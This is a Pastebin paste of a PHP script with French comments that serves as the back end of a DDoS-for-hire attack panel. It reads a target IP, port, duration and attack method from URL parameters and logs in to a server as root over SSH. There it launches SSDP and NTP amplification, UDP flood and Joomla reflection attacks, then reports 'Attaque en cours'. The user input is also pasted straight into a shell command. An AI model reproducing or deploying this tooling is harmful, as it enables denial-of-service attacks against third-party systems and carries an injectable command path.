Advertisement
Guest User

apiphp server

a guest
Jan 16th, 2016
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.84 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <?php
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5.  
  6. //debut de la config
  7. $server_ip = "1.1.1.1"; //Changer avec l'IP de votre serveur
  8. $server_pass = "collerlapetite"; //Changer avec le mot de passe de votre serveur
  9. $server_user = "root"; //Changer uniquement si vous n'avez pas accer au root
  10. //fin de la config By K3L0T3X
  11.  
  12. $host = $_GET['host'];
  13. $port = $_GET['port'];
  14. $time = $_GET['time'];
  15. $method = strtoupper($_GET['method']);
  16. if ($method == "REBOOT") {
  17. $command = "reboot";
  18. }
  19. elseif ($method == "SSDP") {
  20. $command = "./K3L0T3X ".$host." ".$port." ssdplist.txt -1 100 ".$time;
  21. }
  22. elseif ($method == "NTP") {
  23. $command = "./NTP ".$host." ".$port." ntplist.txt -1 100 ".$time;
  24. }
  25. elseif ($method == "K3UDP") {
  26. $command = "./K3L0T3X ".$host." ".$port." ".$time;
  27. }
  28. elseif ($method == "BOXING") {
  29. $command = "./taratata ".$host." ".$port." ".$time;
  30. }
  31. elseif ($method == "JOOMLA") {
  32. $command = "./joomla ".$host." joomlagogeta.txt ".$time." 1";
  33. }
  34. if (!function_exists("ssh2_connect")) die("La fonction ssh2 n'est pas installée"); if(!($con = ssh2_connect($server_ip, 22))){
  35. echo htmlspecialchars("PROBLEME DE CONNECTION");
  36. } else {
  37. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  38. echo htmlspecialchars("Erreur ssh2: utilisateur ou mot de passe incorrecte");
  39. } else {
  40. if (!($stream = ssh2_exec($con, $command ))) {
  41. echo htmlspecialchars("Impossible d'executée la commande");
  42. } else {
  43. stream_set_blocking($stream, true);
  44. $data = "";
  45. while ($buf = fread($stream,4096)) {
  46. $data .= $buf;
  47. }
  48. echo htmlspecialchars("Attaque en cours sur l'IP $host avec le port $port pour $time secondes avec la méthode $method !");
  49. fclose($stream);
  50. }
  51. }
  52. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement